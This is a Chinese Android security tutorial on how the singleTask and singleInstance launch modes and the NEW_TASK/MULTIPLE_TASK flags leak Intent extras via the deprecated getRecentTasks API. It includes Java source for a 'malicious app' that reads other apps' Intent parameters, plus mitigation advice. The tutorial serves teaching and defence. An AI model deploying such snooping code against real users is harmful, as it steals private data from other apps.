Activity-lauuchMode安全
回顾一下
安卓应用Activity的安全风险
| android:exported(导出安全) | Implicit Intent(隐式) | android:lauuchMode(Activity启动设置)* | Flag_ACTIVITY_NEW_TASK(Activity启动设置) | android:taskAffinity(Activity启动设置) |
|---|---|---|---|---|
| 安全绕过 | Activity劫持 | 返回劫持 | 信息泄露 | 信息泄露 |
| 拒绝服务 | 信息泄露 | 返回劫持 | 返回劫持 | |
| 信息泄露 | ||||
| .... |
第三个、第四个是Activity的启动模式所带来的安全风险
Activity启动模式的基本概念

1.安卓启动里面以栈的方式管理Activity
2.栈的名称在安卓启动里面叫task,而task的命名是以packagename为命名
3.App显示的Activity位于Task的栈底
4.四种启动模式
1.standard

示例是First启动Second,Sencond启动Third,在返回时Third先返回到Second在返回到First
2.singleTask

我们将First Activity的启动模式设置为singleTask,在我们的示例中First启动了Second,Second启动了Third,Third启动Activity时如果启动的是First这时会检测Task里面是否是已经存在First Activity的实例,如果已经存在了则将其上的所有Activity弹出,也就是将Second和Third弹出,让First Activity置顶
3.SingleTop

将First Activity的启动模式设置为singleTop,这时First启动了Second,Sencode启动First,如果First在启动First的时候就会检测Task的栈顶Activity是不是First的实例,如果是First的实例则直接使用,就不在重新实例化First Activity在返回时First会直接返回到Second,Second在返回到First
4.singleInstance

我们将Second Activity的启动模式设置为singleInstance,这时First首先启动Secode发现他是singleInstance启动模式,这时这会新建一个Task2,Second Activity启动到Task2中,而Second如果启动Third Activity时为标准启动模式又将Third Activity启动到原始Task1中,这时如果我们返回的话Third会直接返回到First,First在返回会返回到Second
漏洞原理
ActivityManager.getRecentTasks
在安卓官网文档中ActivityManager.getRecentTasks函数有个说明,该函数在21之后被废弃掉了,原因有可能泄露个人信息给调用者

接下来我们看下他返回的RecentTaskInfo里面有那些敏感信息,在RecentTaskInfo类里面有个属性baseIntent他里面存储了用来启动Task的Intent由于Intent经过测试发现 桟 Activity和用来启动栈底的Activity的Intent不可能通过ActivityManager来读取,因此都可能存在信息泄露的风险

回过头在看四种启动模式,思考那种模式存在信息泄露的风险。
首先是标准启动模式(standard)用来启动栈底Activity,栈底Activity是First,First也是MainActivity在这种启动模式中我们的栈底Activity只能是frist而启动first的方式是App启动时第一个Activity这时Intent里面是不包含参数的因此不会存在信息泄露的风险
第二种启动模式SingleTask,这种模式中栈底的Activity只能为First,但是在第三步中我们启动First时有可能会传递参数或者敏感信息,因此存在敏感信息泄露的风险
第三种启动模式SingleTop,这种模式中栈底的Activity只能为First,而栈底的First Activity只能在App的启动时调用,而此时不会传递参数,因此不会存在信息泄露的风险
第四种启动模式singleInstance,这种模式中有两个栈底Activity,首先是first作为Task1的栈底Activity只有在App启动时调用,因此他不会转递参数不会存在信息泄露的风险,而Second Activity由First启用,有可能会传递参数或者敏感信息,因此存在信息泄露的风险
在四种启动模式中singleInstance和SingleTask有存在信息泄露的风险
示例
首先检测App主配置文件Activity是否指定启动模式,另外启动模式是否为singleInstance和SingleTask
<activity android:name=".SingleInstanceActivity" android:launchMode="singleTask"/>
<activity android:name=".SingleInstanceActivity" android:launchMode="singleInstance"/>其二需要检查Java代码在启动Activity时指定标志位
Intent intent = new Intent(MainActivity.this,NewTaskActivity.class);
intent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
intent.setFlags(Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
intent.putExtra("PARAM","Seven Security Data");
startActivity(intent);这里我们关注两个标志位分别为FLAG_ACTIVITY_NEW_TASK和FLAG_ACTIVITY_MULTIPLE_TASK分别对应singleTask和singleInstance,我们需要注意一点这两个标志位是一个常数,因此反编译后有可能看到是个十六进制的布尔值,官方文档转送点


测试方法
1.查看主配置文件中的所有Activity组件配置;
2.检查源代码中Activity启动方式;
Normal为测试App,这里有两个示例的Activity,第一个SingleInstanceActivity启动模式为singleTask,第二个是NewTaskActivity没有指定启动模式
打开Java代码MainActivity,查找调用了这两个Activity的代码,可以看到一个Button注册了一个点击事件,调用SingleInstanceActivity传递了参数
然后看下SingleInstanceActivity的定义
查看第二个Button,调用的NewTaskActivity,并且设置了一个Flags(FLAG_ACTIVITY_NEW_TASK)也可以指定为Flags(FLAG_ACTIVITY_MULTIPLE_TASK)相当于启动模式为singleInstance另外传递了一个传输Seven Security Data
NewTaskActivity定义如下
此时我们将他运行起来查看效果

编写恶意App,用于攻击示例中两个Activity读取他们两个传递的参数
在写好的App中,这两个Button是用来攻击[SingleInstance]启动Activity和[FLAG_ACtivity_NEW_TASK]启动Activity的

首先,在单击事件里面我们调用了ReadTaskActivity并且传递了target和SingleInstanceActivity
Button btnSingleInstance = (Button) findViewById(R.id.btnSingleInstance);
btnSingleInstance.setOnClickListener(new View.OnClickListener() { // from class: cn.com.budi.activity.evil.MainActivity.4
@Override // android.view.View.OnClickListener
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, ReadTaskActivity.class);
intent.putExtra("target", "SingleInstanceActivity");
MainActivity.this.startActivity(intent);
}
});进入ReadTaskActivity
public class ReadTaskActivity extends Activity {
@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.second_layout);
String target = getIntent().getStringExtra("target"); //首先我们取出target的参数值
ActivityManager activityManager = (ActivityManager) getSystemService("activity");//获取ActivityManager的实例
List<ActivityManager.RecentTaskInfo> list = activityManager.getRecentTasks(100, 1);//通过activityManager调用getRecentTasks获取RecentTaskInfo
StringBuffer buf = new StringBuffer();
for (ActivityManager.RecentTaskInfo info : list) { //然后遍历TaskInfo
Intent intent = info.baseIntent; //里面的baseIntent
if (intent.getComponent().toShortString().contains(target)) {//检测传递参数值target
String param = intent.getStringExtra("PARAM");//如果有将参数读取出来
buf.append("\n Intent包含数据:" + param + "\n\n");//放到buf里面
Log.v("GET", intent.getComponent().toShortString());
}
Log.v("BaseIntent", intent.getComponent().toShortString());
}
TextView txtView = (TextView) findViewById(R.id.second_view);
txtView.setText(buf.toString());//最后在设置txtView里
}
}在第二个Activity里面通用调用的ReadTaskActivity,不过传递的target值为NewTaskActivity接下来运行恶意App和NormalApp
调用NormalApp中的SingleInstance启动Activity

转递了six Security Data

使用恶意App对泄露的信息进行读取


然后就是最后一个Button FLAG_ACTIVITY_NEW_TASK启动Activity,调用一下它

传递了Seven Security Data

切换到恶意App用FLAG_ACTIVITY_NEW_TASK信息泄露这个Button来读取刚才传递的信息


我们将测试App的FLAG_ACTIVITY_NEW_TASK改为FLAG_ACTIVITY_MULTIPLE_TASK看下效果

同样的点击FLAG_ACTIVITY_NEW_TASK启动Activity

同样传递的是six Security Data

同样用恶意APP读取刚才传递的参数值six Security Data

说明SingleTask和SingleInstance都存在信息泄露风险(该Api已被ban,学习一个思路)
安全建议
1.避免使用 singleTask和singleinstance
<activity
android:name=".activity.FirstActivity"
android:name="FirstAPP"
~~android:launchMode="singleInstance">~~(这是一条删除线)
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>2.避免不设置 FLAG_ACTIVITY_MULTIIPLE_TASK和FLAG_ACTIVITY_NEW_TASK属性
Intent intent = new Intent(FirstActivity.this, SixthActivity.class);
~~intent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK)~~(这是一条删除线)
intent.putExtra("PARAM",Security Data");
startActivitv(intent);如必须使用,不应该传递敏感信息